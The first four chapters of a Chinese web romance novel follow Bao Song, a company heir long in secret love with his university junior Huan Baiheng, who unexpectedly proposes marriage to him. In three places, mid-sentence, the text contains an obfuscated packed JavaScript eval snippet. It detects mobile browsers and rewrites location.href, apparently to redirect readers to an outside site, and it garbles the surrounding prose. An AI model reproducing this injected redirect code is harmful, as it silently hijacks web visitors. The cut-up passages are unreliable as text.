《和暗恋对象先婚后爱了》 1. 第1章 薄淞从公司出来时,接到他妈打来的电话。 铃声持续半晌,才无声地呼出口气,点了接通,“妈。” 女人的声音传出来,直奔主题,“儿子,餐厅妈妈帮你约好了。这次的女孩是你叶叔叔的女儿,你爸爸和你叶叔叔的关系多好啊,你可得上点心...” 薄妈妈这会在说的,是薄淞相亲的事。 薄淞大学毕业开始接手家里子公司,做出一番漂亮成绩,事业上毫无疑问是成功的,可感情方面...今年薄淞二十八,二十八年可以说完完整整交了张白卷。 这让薄妈妈一度不能理解。 自家儿子在校园时期就有众多追求者,参加个家长会都有羞红着脸打听他单身与否的小女生,加上性情温和朋友多,恋爱该是不难的,因此她也从没担忧过。 只是随着年龄渐长,尤其二十六岁后,薄淞却丝毫没有恋爱打算,而她身边朋友的孩子陆陆续续成立家庭,甚至有些都抱上了孙子,这才感到一丝紧迫。 可说也跟儿子说过,人生大事是该提上日程,无奈迟迟没有进展,只好打起相亲主意。 开始时薄淞强烈的抵触在她意料之外,最后软磨硬泡一整年,直至年初,薄淞才松了口。 薄淞愿意答应相亲,便是有了希望,薄妈妈这么想,可希望转眼就破碎了。 薄淞对待约会对象体贴周到,用餐间也相聊甚欢,甚至于结束后还会送对方回家,回回相亲都很圆满,只是所有的看似“合拍”的画面,总会在饭局结束湮灭为泡沫,对方抛来的“有意继续”的橄榄枝只是单方面的,薄淞的回答从来不带犹豫。 不喜欢,没感觉。 直白给出的答案,让一场场相亲石沉大海,薄妈妈才意识到,相亲这事对于自家儿子来说,和公司日程表上罗列出来的待办事项没什么不同,所谓的体贴周到也不是喜欢,只是教养使然,仅此而已。 “知道了,我会准时。”薄淞抬手捏了捏鼻梁,在薄妈妈话语间隙开口表态,再说下去怕是没完没了,他拉开车门,“妈,我开车回去呢,先这样啊。” 年关将近,公司事情多,白天连轴转的会议让他已然疲惫不堪 ,加上压在心里的事..薄淞一瞬分神,又强行忽略。 “好吧,开车小心点啊。”薄妈妈嘱咐道,最后还是没忍住,“这次可以加人家女孩子的联系方式吧?” 薄淞的相亲通常只是一顿饭的时间,没有后续,因此薄妈妈要求一月得有一次,从今年年初开始,至今也有十一次,见了十一个相亲对象,没有一个加过联系方式,开始薄妈妈不解,后来次数多了才明白,薄淞是怕麻烦,而不联系,是最能省去麻烦的。 薄妈妈小声的埋怨最后等到的回答不出意外是敷衍的拒绝。 “再说吧,妈,我开车了,挂了。” 电话挂断,薄淞弯腰跨进车内,引擎轰鸣,驶上荣市寒夜冷清的街道。 - 约会在隔天下午,装修雅致的位于热闹市中心的顶层西餐厅,是荣市热门的相亲圣地。 薄淞在环绕着玫瑰香气的餐厅二号桌入座,眺望玻璃窗外开阔的城市风景,近些年工业在荣市落幕,新兴的科技产业使得一座座高楼拔地而起,银灰色的建筑傲然耸立在这座沿海前线的城市土地上。 时间的流逝使得许多熟悉的事物变了面貌,这座城市被推动着往前...人也是。 “你好。” 甜美的嗓音响起在耳边,薄淞才从突来的情绪中挣脱,他在转头间隙迅速平复好心情,脸上露出一贯温和礼貌的笑,只是笑意在触到面前一张明显青涩稚嫩的面容时,僵住片刻。 女生身着黑色吊带短裙,长卷发垂至胸前,她画着并不浓的妆容,皮肤白皙五官精致,卷翘的长睫下是双水色杏眸,在薄淞望过来视线相撞时几分羞涩地躲开。 “...你好。”薄淞收了讶异,起身邀请女生入座。 相亲对象的资料其实在一周前便已经发来,只是他忙于工作没时间看,拖到最后一天晚上才打开,毕竟就算是走个形式,了解对方也是最基本的礼貌尊重,总不能都对面而坐,是谁都不知道。 只是大概他昨晚看的过于草率,而资料里又刻意隐去年纪这一栏。叶家有两个女儿,他理所应当以为是和他年纪相仿的姐姐,可这会面前羞涩不自在的女生,毫无疑问该是叶家刚毕业的小女儿。 “我叫叶缘萱,萱草花的萱。” 叶缘萱鼓足勇气自我介绍,可话里的颤抖很是明显,薄淞察觉到。 “我有看过你的资料。” 薄淞回答,眼神再次对上的瞬间,女生青涩的面颊浮起浅色红晕,又开始不自然的闪躲,这让薄淞忽然意识到了什么。 “是你家里人让你来的吗?”他声音放的缓,在女生点头后,笑意更温柔了些,安抚对方,“别紧张,你可以当作和...家里的哥哥吃饭。” 他想说和朋友,可想到对方应该不会有年龄差距这么大的朋友,才改口是家里哥哥,试图让对方放轻松些。 当然,他自己这会也宽心不少。 两人年纪差距在这,对方该是不情愿的,估计是碍于父母压力,毕竟他们这个圈子的,商业联姻是再正常不过的事,不然两人相差将近六岁,太委屈对方了。 薄淞在确定这场饭局彼此都无意,而女生又实在紧张的情况下,难免多照顾些,因此没有注意到在他很多个低头瞬间,女生羞涩又满含爱慕投来的视线。 一顿饭结束,天色暗下。 薄淞开车送人回去,下车后叶缘萱却没急着走,在薄淞疑惑着想问时,深呼吸开了口。 “你周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345430|167880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 末有空的话,我可以邀请你去看舞台剧吗?” - “不是,怎么都这么多年了,你感情的神经还那么粗啊?” 笑声从清吧角落的卡座溢出,薄淞面前的男人笑得捂住腹部,一双夺人心魄的桃花眼尽数眯起,因为笑的太肆意,引来周遭注视,随后道道目光变得痴迷流连。 “...序淮。” 薄淞轻声唤他,对于好友不加掩饰的调侃有几分求饶意思,林序淮才稍给面子收了笑意,他一手撑着下巴,眯着的眼睛却难掩其中琥珀色流光,唇角弧度微敛,勉强答应。 “好吧,我不笑了。” 可说是不笑,一时间笑容实在收不回去,衬着这张无辜的美人脸,让愣是习惯了好友美貌的薄淞都忍不住惊艳,他在很多时候,其实是羡慕林序淮的,羡慕这么副不论男女都难以不生好感的容貌。 “那你答应了吗?”林序淮终于缓过来,眸光一勾,开口。 他这话问出也料到答案,因此薄淞摇头也丝毫不觉意外,“可是叔叔最近不是和叶家有合作,这大小姐你怕是不好甩掉吧。” 林序淮一语戳中薄淞头疼的点。 “说是年后来公司实习,让我照顾着点。” 昨天饭局结束后叶缘萱邀约他舞台剧时,他就预感到不妙,果真回到家他妈的电话就追过来,这次的表态不管用,他妈的意思是,喜欢不喜欢都可以先相处,叶缘萱今年六月毕的业,正好实习工作,去他那合适,让他照顾点。 “所以你自我认知还是不够。”林序淮睨人一眼,话里揶揄,“你这类型的最讨女人喜欢好吧,可靠稳重,温柔体贴,小女生哪受得了,你还温声软语的,她肯定是觉得自己有希望。” 一番话,薄淞完全说不出反驳的字眼,但无奈也是无奈的,如果他知道对方开始就是有意冲着他来...薄淞叹口气,他的性格也做不来让他人难堪的事,更何况对方足足比他小了六岁,还是个女生。 “行了,事情都这样了,你态度摆在这,小女孩嘛,过段时间估计热情也就消了。”林序淮抿了口酒,指尖轻敲着杯壁,驻场歌手抒情的歌声悠悠荡荡飘过来,好一阵他的声音应着旋律接着响起,“不是谁都像你一样的,非得在一棵树上吊死。” 话音落下,原先融洽的气氛凝滞,而薄淞一整晚装作无事的轻松也被撕开假象,唇角溢出一抹苦涩笑意,“可不也没吊上去啊。” 轻而无奈地自嘲。 林序淮沉默半晌,仰头灌了剩下的酒,把杯子一搁,磕出轻微细响,“是啊,所以你越早认清这件事越好。” 他残忍而冷漠的宣告着薄淞不敢也不愿面对的现实,希望好友清醒。 “薄淞,桓柏蘅要结婚了。他以前不属于你,以后也只会属于别人,你永远都不会有机会了。” 2. 第2章 薄淞喝的多,第二天是被助理的电话闹醒的。 他少有的酒后放纵,错过规定好的会议时间,工作这么多年来,这是头一回。 助理担心的问询是不是发生了什么事,得到薄淞回应,无事发生。 会议时间被延后至下午两点,薄淞让助理和大家说声抱歉,打工人向来牛马惯了,顶头上司说抱歉这事着实有点惊着助理,再次问询无大碍后结束通话。 薄淞坐在床头,冬日暖阳自窗外倾洒而下,照在他宿醉后的面容上,他皮肤比正常人要白许多,明亮的光线下衬的越发透亮,长睫下一双深邃眼眸,瞳色是极浅的棕,此刻仍有些失神涣散。 薄淞缓了一阵,才有了动作,起身下床。 身上的酒味浓重,钻进鼻尖让他越发不适,他脱了衬衣,光脚踩进浴池里,热水氤氲着雾气附着在冰冷镜面,模糊了清瘦身形。 好狼狈。 昨晚林序淮的话,彻底打碎这段时间薄淞强装出来的无事发生的平稳假象,他不敢想,可总有那么多不经意的分秒,念头蹿进脑子里,让他觉得心里空的厉害,再强行转移注意力。 失魂落魄,他几乎夜夜失眠。 可现实就是现实,不是他不去想就不会发生,桓薄蘅要结婚了,婚期在下个月。 薄淞紧闭上眼。 记忆里盛夏午后,弯腰低头的少年捡拾起地上稿纸,抬眸望来那一眼,让他至今想起仍是悸动不已。少年唇角勾起漫不经心地笑意,歪头似是打量,才把手中稿纸递还给他,擦肩而过时炎夏的风中飘来若有似无的清浅淡香。 他那年大三,初见桓柏蘅,一见钟情。 艺术系和金融系的距离,需要跨越整个荣市大学,直线距离步行三十分钟,之后,他往返于两个学院之间多次,被林序淮瞧出端倪,选择坦白。 没有追求人的勇气,他选择隐秘而无声地暗恋,便注定不会被看到,而实际他跑空许多次,桓柏蘅入学没多久就住在了校外,见到人的机会自然也屈指可数。 时间过的快,大四那年,他爸手术住院,之后身体便一直不好,最终他没有选择在艺术道路上进修,放弃国外学院的招生,听从父母安排提早进公司实习。 全然陌生的新领域,耗费他所有心神,大四下半年的毕业合照都没能到场,只一场答辩匆匆结束大学生涯。 他毕业了,离开学校,社会和校园的差距比他想象中的大,他和桓柏蘅之间的距离,更加遥不可及。 - “妈,我最近很忙,真的没空。” 一周后薄淞再次接到他妈让他相亲的电话,恍惚间时空错乱,他再次确认了日期,“而且我们之前就说好的,一个月最多一次。” “这次是特殊情况,妈妈知道你反感,不过这事是你爸爸提的,他让你一定答应,就是多吃一顿饭而已,你走走过场就行。” 薄淞按了按太阳穴,脑袋再次隐隐作疼,事情有点不对劲。 他爸既然已经答应叶家女儿来公司实习,又怎么会立刻强逼着他再相亲?叶家和薄家可还是在合作期间,关系正密切,这样的行为无疑令人反感,可他爸却还是答应了,所以他爸不能或是舍不得拒绝这个人提出的邀约?和他见面相亲的邀约? 薄淞觉得离谱,可他实在没心思探究这里边弯弯绕绕,他只觉得疲惫。 “我真的忙,再说吧。” 薄妈妈试图说服他,“只是见一面而已,不会耽误事的,哪有忙到一顿饭都来不及吃,你不还要去国外旅游吗?” 薄淞计划元旦出国。 今年元旦除夕离得近,这次是打算一块放了,在年假上,公司一向人性慷慨,延长的假期也能让员工好好陪伴家人。 而薄淞也就不在荣市过年。 这个决定薄妈妈其实不理解,为什么不能年后出去,过年都是家人团圆的,但薄淞态度坚决,孩子也长大了,便只能答应。 薄淞望着高楼外黑沉夜色,忽而一阵冷风吹来,是先前觉得暖气闷开的窗,凛冽的寒气让他指尖微微瑟缩。 “嗯。”他嗓音被吹得沙哑,“所以很忙,没空。” 桓柏蘅的婚礼定在年后,结婚对象是谁他不知道,唯独知道的是桓柏蘅会结婚,因为这是桓家老爷子,也就是桓柏蘅爷爷,在不久前的慈善酒宴上亲口宣布的。 回国的小孙子要结婚,一月9号,找人算出来的好日子。 桓柏蘅是上个月回国的,他这几年在国外读书,只偶尔假期回来,具体的行程薄淞不知道,桓柏蘅只跟亲近的家人和朋友见面聚会,不包括他。 所以其实他对桓柏蘅的印象,是有些久远模糊,依稀记得最后一次见桓柏蘅,是对方的毕业典礼。 操场一角的无人荒僻处,薄淞目光落在远处闹腾的人堆里,少年穿着学士服,身姿修长,和身边的朋友谈笑玩闹。 阳光正好一缕落下,勾勒出眉眼轮廓,微微下垂的眼角,高挺的鼻梁,薄唇锋利,本是偏冷峻迫人的模样,却因唇角勾起的弧度添了丝少年张扬,肆意明媚。 一晃好多年了。 薄淞挂断他妈的电话,猜测可能不久,他爸的电话就会过来,若是放在往常,一顿饭无伤大雅,可现在他是真的没心情。 胸口闷堵。 他只想尽早完成项目,就能尽早离开荣市,在桓柏蘅结婚前,离开这座像是随地随地会因为这场婚礼而让他窒息的城市。 - 酒店高层俯瞰,车流汇聚成长河,绵延至高楼阻挡的尽头。 “他拒绝了?” 慵懒的嗓音自灯光昏暗的酒店套房中响起,落地窗前沙发上懒懒倚着个人,修长的双腿交叠着,微垂的眸光漫不经心地望向熟悉又陌生的城市街景。 桓柏蘅回国将近一个月,除了开始两天陪爷爷在老宅住,随后便独自在酒店呆着,因为实在受不了老人家的唠叨。从答应爷爷结婚后,老爷子就对所谓的结婚对象十分感兴趣,旁敲侧击愣是要他透个底。 桓老爷子对外宣称保密,实则是为了面子,因为压根不知道自家孙子到底和谁结婚,而事实上,他没料到连孙子本人都不知道。 总之桓柏蘅是来酒店躲清闲的,毕竟玩在国外也玩够了,他只想安安静静呆着,以至于清闲大半月,把这事全忘了,总而言之想起来那会,正好和好友吃饭,提起结婚这事,对方恰好说了句,偶遇过大学学长相亲。 大学学长,薄淞? 桓柏蘅是话题过去将近十分钟,脑子才浮现这个人的影子,以至于浮现的人影逐渐清晰后,觉得结婚这事有了眉目。 艺术系系草,白衬衫,温文尔雅,是薄淞在他心里的关键词,大学时期他就不少听过这系草的名字,也偶尔碰上几次,一致的评价是性格好,人品不错,加上年少时候那张脸...桓柏蘅对于结婚对象也是有要求的,赏心悦目那是最起码的,加上安分不粘人,薄淞很合适。 只是他有意,对方未必。 “是,对你没兴趣,拒绝了。”郑云松语气颇有几分幸灾乐祸意思,“听说叶家那女儿前段时间才在追他,年后都要跑人公司实习去了,比起可爱又性感的小女生,你这怕是不妙啊?” “哦。” 桓柏蘅起身,浴袍垂下至小腿,玻璃映出性感的肌肉线条。他转身往卧室方向去。 “所以要不要竞争一下?”郑云松听这语调撇撇嘴,怎么没被刺激到?他有些失望又忍不住怂恿,“你要拿出点态度的话,面指定是能见到的。到时候你打扮打扮,啧,兄弟还是站你的,虽然你这也不能生...” “云松。”桓柏蘅打断他,“我想你搞错了一件事。” 开关被按下,房间亮堂起来,水晶灯绚丽柔暖的光线落在桓柏蘅微抬的眉眼,这是一张挑不出瑕疵的脸,下垂的眼尾使得桓薄蘅的目光总带着居高临下的意味,哪怕此刻他是有些倦意,对于郑云松侃侃而谈的话题觉得非常无聊的倦意。 “我只是有兴趣。”他慢条斯理地扣上衬衫最上层的金属扣,告知好友,“不是多稀罕他的意思。” - 薄淞机票定下,目的地,A国,公司年会结束后启程。 他让助理买好机票,却被问到荣市一年一度晚宴的事。 荣市每年的年终宴会,所有的上市公司都会受邀参加,不论是老牌的企业还是新冒出头的公司。所以说是晚宴,不如说是交际攀关系的名利场,薄淞倒是不太需要靠这种场合扩大交际圈,只是出于筹办方的面子,每年都会出席。 而今年的筹办方,是桓家。 桓家最早是房地产起家的,桓老爷子眼光毒辣行事果断,抓住时代的风口发展,可以说桓家在荣市的半壁江山都是老爷子一人打下的。后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345431|167880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来实体业日趋落寞,不少原先的老牌公司倒台,只有桓家依旧屹立不倒,近些年相继拓宽领域,涉及娱乐酒店互联网人工智能等,荣市市中心最高建筑顶奢酒店环悦就是桓家的产业,已然成为了荣市地标之一,巨大的酒店logo成了热门旅游打卡点。 无疑桓家在荣市的地位无可取代,可这不是薄淞最在意的,他在乎的是,这样的场合,对于回国日后势必会继承桓氏企业的桓家唯一继承人,桓柏蘅会出席。 薄淞其实是期待过的,不可否认设想过这个场景很多次,在他选择放弃艺术接手公司开始,他就知道,总有一天,在觥筹交错的名利场,他是有机会和桓柏蘅重新认识。 哪怕是利益往来的“朋友”。 可他没想过,等了这么多年等来的重新认识的契机,却后于桓柏蘅即将成婚的消息。 门被轻敲的响声打断薄淞飘远的思绪,他忽略心口酸涩的胀意,望向随后进来的人。 叶缘萱一身并不适合严肃办公场合的服装,倒更像是参加华丽的舞会,比上回精致成熟的妆容,高跟前足足七八厘米,而裙子外头胡乱套着件西装外套。 “薄总,巧巧姐让我给你送的文件。” 叶缘萱说好的年后来,可回去又耐不住性子,答应绝不打扰这才获得年前实习的机会,这是她第一天上班,可全程和薄淞没有交流。 薄淞接过文件,他不擅长刁难人,更何况叶缘萱严格意义上来说不算他的下属,而该说的也都说过,他目前没有结婚也没有恋爱打算,对方还要坚持,他也没心力劝说。 只是送完文件叶缘萱没要走的意思,含羞带怯生地站在原地,一个劲看他。 “我要工作。”薄淞无奈说了这么句,人才恋恋不舍掩门离开。 他强打起精神,手机却在桌上突兀震动起来,拿过一看,是陌生号码。 因为怕有要紧事情通常打来的电话薄淞都是会接的,只是这回不等他按下通话键,另一边已然挂断。 那就不是要紧事。 他没放心上,忙起正事。 - 结束工作将近晚上十点,薄淞开车回去。 这两日他有些感冒发热,为了不耽误事,能忍就忍没吃药,终于还是撑不下去,其实下午那会他就觉得身上隐隐发冷,这会测了□□温,果不其然烧到三十八度多,他从备用柜里翻出医药箱。 脑子昏沉,薄淞望着此刻冰冷的公寓,空旷冷清,唯一有生命力的一株绿植也在上个月枯萎。 热水流经胃里,药片苦涩的回味蔓延在口腔,激起强烈想呕吐的欲望,他平复好一阵才回卧室,发着冷洗了热水澡,上床休息。 这一觉睡得不踏实,发热的厉害,可大概是退烧药效果好,发热出汗后,那股忽冷忽热的折磨总算平歇,薄淞堪堪陷进睡梦中时,却被突兀响起的铃声惊醒。 睁眼漆黑,他缓了几秒,铃声持续叫嚣,翻身拿过床头手机。 是一串陌生号码。 薄淞没有关铃声的习惯,还是怕接不到要紧电话,可深更半夜不是紧急的事没人会打,而他注意到,眼前的这串号码似乎几分眼熟..他慢半拍想起是白天下午那阵拨过来的手机号。 这次铃声持续一阵没挂断,薄淞按下接通键。 电话里安静无声。 “你好。”他只得开口,“哪位?” 仍旧是一片无声,没有回答。 薄淞眉头微蹙,一次可能是打错,两次就不太可能,所以对方是打给他的,可半天也并不出声?他耐心等了会,确定无果后正要挂断,打算明日让助理查一下号码,里头很突然地传来动静。 是呼吸声。 他按断的动作戛然止住,竟也莫名地听那阵起伏的气息将近一分钟,。 终于,听筒里传来一道低哑磁性的男性嗓音,带着浓沉的不悦和像是不那么清醒的烦躁,开口喊他名字。 薄淞混沌半醒的大脑被这两字狠狠一击,几乎在瞬间清醒过来,黑暗中左胸的心脏疯狂有力的跳动,握着手机的指骨不知觉间用力到泛起青白。 是很熟悉的声音,哪怕对他而言应当是陌生的,可这道声音属于谁? 那个名字让他恍然此刻是梦境。 男人的话语接着响起,一字一顿,质问的语气道。 “和我结婚有那么委屈你?” 3. 第3章 薄淞短时间内第二次错过会议,助理这次淡定许多。 “需要为您把会议延迟到下午吗?” 床头薄淞怔怔坐着,神情是罕见的茫然,手机开的外放模式,而他此刻正盯着刚调出的夜里一条通话记录,表明一切不是梦境,是真真切切存在的,可为什么还是觉得太不真实? 他开始怀疑此刻是不是仍在梦中。 “薄总?您在听吗?” 长时间的没有回复,助理另一边又一次询问,拉回薄淞思绪。 他开口嗓音嘶哑,“下午我不去公司了,会议改到明天。” 薄淞挂断电话,下床拉开窗帘,是个晴天。 荣市往年冬季总是淅淅沥沥的雨,湿冷阴凉,唯独今年格外明媚,太阳这会已然高悬天空,迎面的风也被阳光驱散那股能透进骨子的寒意,他听见鸟儿的叫声,从绿化覆盖率极高的小区不知哪个方向传来。 这套房子是薄淞毕业后买的,一住就是多年,没有搬家的想法,哪怕地方离公司不算近。 他是个恋旧的人,东西是,人也是。 - 薄淞在暖阳下走着,漫无目的,这是久违地闲暇,因为他此刻原本应该在公司忙碌。小区很有生活气息,修建的儿童游乐园里,年长的老人带着孩子玩耍,都是些不到上学年纪的孩子。 天真,无忧无虑,世界里好像没有烦恼。 他忽然想起他妈催他结婚时的话,想抱孙子,如果他早几年结婚的话,大概孩子也能下地跑了,薄妈妈的话里满是期待,然后询问他到底打算什么时候结婚,给个期限也好。 答案其实不是他不能给,只是怕他妈接受不了。 他结不了婚。 心里藏着忘不了的人,又哪能自私的去耽误别人?薄淞曾经是笃定这个答案的,不会结婚,可现在呢?薄淞面颊被光线照的暖融融的,发困也发昏,他从兜里拿出手机,第三次盯着那串号码。 他昨晚差点没认出电话里的声音,那是桓柏蘅的声音...因为太陌生。 他们没说过话,连最表面的朋友都不是,唯一的关系也只是校友,没比陌生人好上多少,可他又是那么熟悉这个人,熟悉到他总能从灵魂深处的记忆里感知到的特殊。 桓柏蘅第一次喊他名字,第一次和他说话....然后第一句说的是,结婚? 薄淞想到这,心跳不受控地加快,又一次怀疑起真实性,哪怕清清楚楚地在一个小时前发来的约他见面的短信地址。 可为什么是他呢? 薄淞茫然而混沌地又想,真的可以是他吗? - 薄淞驱车提前半小时到达餐厅门口,一早上做好的心理准备,此刻全部无效。 太紧张,以至于好像没法故作轻松,他努力地让自己平复下来,因为他知道,这不是普通的一场相亲,他和桓柏蘅没有过联系,对方不至于无缘无故找上他。 或许是利益驱使,也或许是出于别的原因,总而言之无关感情,所以他需要的是以最自然的姿态,倾听桓柏蘅提出的条件,然后尽最大可能满足对方,以互惠互利的最终目的,达成这场他求之不得的婚礼。 薄淞十五分钟后下了车,在侍应生的带领下,进入餐厅。 这是家装修颇有情调的餐厅,上世纪复古的色调,墙上随处可见经典油画,是西方浪漫古典的代表,装饰的干花散着幽香嵌在画框四周,沉淀后的色泽浓郁,引人注目流连。 “先生,到了。” 侍应生在包间门口站定,轻声提醒。 薄淞视线才从周遭环境收回,他微微点头道谢,等人离开后,才深呼吸,抬手轻扣当作提醒,随后推门—— 包间昏暗,桌前两盏白烛点着,曳动的烛影拖开墙角斜长影子,幽香在狭小的空间里更加浓郁,混着红酒酒香... 薄淞对视上男人冷淡慵懒的黑眸。 海浪翻涌而上,将他淹没,心跳一瞬骤停,直至退潮的浪花将他狠狠拍打在礁石,周遭所有无声的响动顷刻间叫嚣,震耳欲聋。 他听见比浪潮还要盛大的他的心跳,冲击空白的大脑,面前的这张脸,是他渴求却连在梦中都不能奢侈一见的,此刻却真真切切出现在他面前。桓柏蘅眉眼间褪去三年前的青涩,少年成长为男人,可仍旧一眼,便让他心动不已。 薄淞缓慢踱步至人跟前,坐下,微笑,他平静地像是再寻常不过的打招呼。 “好久不见。” 内心却远不如表面平静,他不知道这句话合不合适,因为不确定桓柏蘅是否还记得他,没说过话的校友,能留下多深的印象呢?可他没心思细究,全部的思绪在于原来这不是恶作剧,所有的一切也不是他天真奢侈的幻想,说要和他结婚是这个人,是桓柏蘅。 “是啊,好久不见。”面前慵懒而坐的人往前倾了些许,桓柏蘅眉梢轻佻,唇角勾起点玩味笑意,“学长?” 微扬的语调像把勾子在薄淞心尖一勾,让他神情片刻的僵硬。 桓柏蘅还记得他? 不一定。 薄淞几乎片刻否定,也有可能因为调查过他的资料,同一个学校的,所以这么称呼他,很合理。 “..嗯。” 薄淞只能这么回答,垂眸,借喝水平复心境,因此没注意到桓柏蘅微眯的双眸在他低头时露出的愉悦目光。 今天这一面,让他更加笃定酒醉后的行为似乎不是件特别糟糕的事,从他看到郑云松发来的关于这位曾经大学学长的近照。 第一眼赏心悦目不用说了,而相比以前,岁月更加沉淀了薄淞身上那股温雅气质,如果说曾经的温润带着少年的柔软,现在则是多了男人的沉稳,加上薄淞不论是先前在校还是近几年业界的风评都很不错。 成熟,包容,有自己的社交圈,尤其他最满意的是,对方是个工作狂,他不喜欢情感太盛的,怕对方情感需求有天无处可放投射到他身上或是向他索取,这会很麻烦。 结婚本来就只是图个耳根清净,他是,而薄淞,应该也是。 “可以问你个问题吗?” 薄淞调整好情绪,开口。 “当然。”桓柏蘅眼底的笑意持续,评估过后语气柔和下来,“你说。” 结婚对象,面前的人很合适,所以他或许得表现得稍微好一些,虽然昨晚酒后的话语估计在对方心里留不下什么好印象,但既然人都来了,证明并不是全然抗拒。 桓柏蘅心中的想法下秒被证实,因为薄淞再次开口的话直奔主题。 “协议结婚吗?” 他眼底的笑意怔住,随后笑出声来。 “不是啊。“桓柏蘅打量着面前的人,意外对方口中会说出这样的话,戏谑道,“算认真的结婚吧。” 薄淞耳后缓缓爬上红晕,睫毛轻颤,掩饰着点头,,“这样啊。” 他说,“明白了。” 协议结婚在圈子很正常,只是从温文尔雅的学长嘴里说出来,尤其他否认后对方不自然的模样让桓柏蘅此刻盯着那抹红霞持续不散的位置,心底升起奇异感受,所以人不可貌相? “所以你是想协议结婚?”桓柏蘅思考过后询问,如果薄淞是的话,那他会觉得有些遗憾,毕竟对方很合适结婚过日子,而协议条条框框太多,也容易被他爷爷看穿,到时候怕是更折腾,他更倾向于一次性解决。 “不是。”薄淞摸不清桓柏蘅的态度,认真的结婚,那为什么找他? 两人之间出现短暂的沉默。 “学长,你什么想法可以直说,我们或许坦诚点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345432|167880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能省去更多麻烦。”桓柏蘅最后先开的口,因为薄淞还是沉默,他多少失了点耐心,直截了当问,“能接受正常的婚姻吗?就是和普通人一样,结婚过日子的那种,不能的话,当我没..‘ “可以。” 桓柏蘅眯了眯眼,观察着薄淞,对方说可以,耳后的红却更深了,像是在害羞? 这是他不了解薄淞的另一面,不过他本来也不太了解对方。 “协议结婚只是我的猜测,不是我的需求。” 薄淞知道桓柏蘅在评估他,也在等他解释,他尽量一字一顿说的清楚明白,只是桓柏蘅却有点听不进去,他只专心盯着凝至耳垂的那抹艳色,怎么感觉越来越红了? 桓柏蘅好长一阵没说话,薄淞渐渐生出不安,因为摸不透桓柏蘅态度,况且他此刻心情实在复杂,除却被求婚的茫然,更多的也是惊惶,怕对方在开他玩笑,也怕经过思考后,会觉得他不合适。薄淞克制着此刻想直白追问桓柏蘅要怎样的条件,他可以付出所有去满足,只要真的跟他结婚。 可他也明白但凡他这么说了,才是毫无希望。 因为桓薄恒跟他结婚,不是出于喜欢。 “我们之间没有感情基础,你会这样理解也很正常。”桓柏蘅的声音接着响起,他笑容始终挂在唇角,可并不显得温情,“不过我也得提前和你说,这段婚姻我希望是长久持续的,非必要情况不离婚那种,当然,夫妻之间的义务我会尽,责任也会承担,可也就到这为止了。” 他的意思说的很明显,薄淞不至于不懂,但桓柏蘅还是把话说的更直白清楚,避免不必要的麻烦。 “我需要的是一段婚姻,家庭,但感情上没有发展的必要。”他出口的话冷酷又残忍,“我对爱情这件事没向往,如果你和我结婚,我给不了你爱情,我这个人也不细心,性格上自我,跟你是完全不同的两种人,你最好不要想着改变我,我不接受,当然,我也不会要求你改变,这样说你能明白吗?就是你可以当做是没有协议的商业联姻。” 如果薄淞也只是想要一段婚姻,不执着爱不爱的,那他们会很合适,既能堵住长辈的口,不必再被烦扰,彼此也自由,他的底线是别出轨,这点他觉得薄淞能做到,出轨是道德问题,他觉得对方基本道德肯定是有的。 “这是大事,关乎一辈子的。”薄淞没奢望桓柏蘅和他发展感情,也很想立刻答应,如果能结婚,他能呆在这个人身边,名正言顺的,便已经足够,可他又怕桓柏蘅太过草率,未来会后悔。 比起自私,他更希望桓柏蘅幸福,如果对方...原本有个很想要的很喜欢的结婚对象,那他可以不被选择。 “当然。”桓柏蘅却说,“你可以考虑,不必着急回答我。” 考虑的人从来也不是他,薄淞却只能应下这份体贴。 “不过我听人说,你月底是要出国?”桓柏蘅状似好奇询问,毕竟薄淞如果答应他的求婚又要去国外的话,时间上可能来不及,婚期定在一月,而薄淞这次出国似乎得二月才能回来? 那或许他们可以先领证,当天薄淞也不是非得到场.. “取消了。”薄淞说。 桓柏蘅脸上的笑意真切许多,“过年陪陪家人也挺好。” 他官方客套回了句,把话题拉回正途,“那考虑的事,一周可以吗?你知道的,老一辈迷信,我爷爷把结婚的日子定好了,如果你答应的话,我们需要一定时间的婚前准备。” “好。” 总算正事聊完,桓柏蘅推过去餐单,“不知道你喜欢吃什么,所以想着等你过来再点,你看看。” 想跟人结婚,也得表现体贴绅士的一面,更何况现在他觉得,薄淞真的很合适,因此连语气都再次柔和下来,听人又道了声谢,眼底笑意更重。 4. 第4章 桓柏蘅一向有和人社交亲近的能力,只取决于他愿不愿意,因此这会带着想同对方结婚的目的,这段饭吃的很愉悦,在不触及私生活的前提下,两人相聊甚欢。 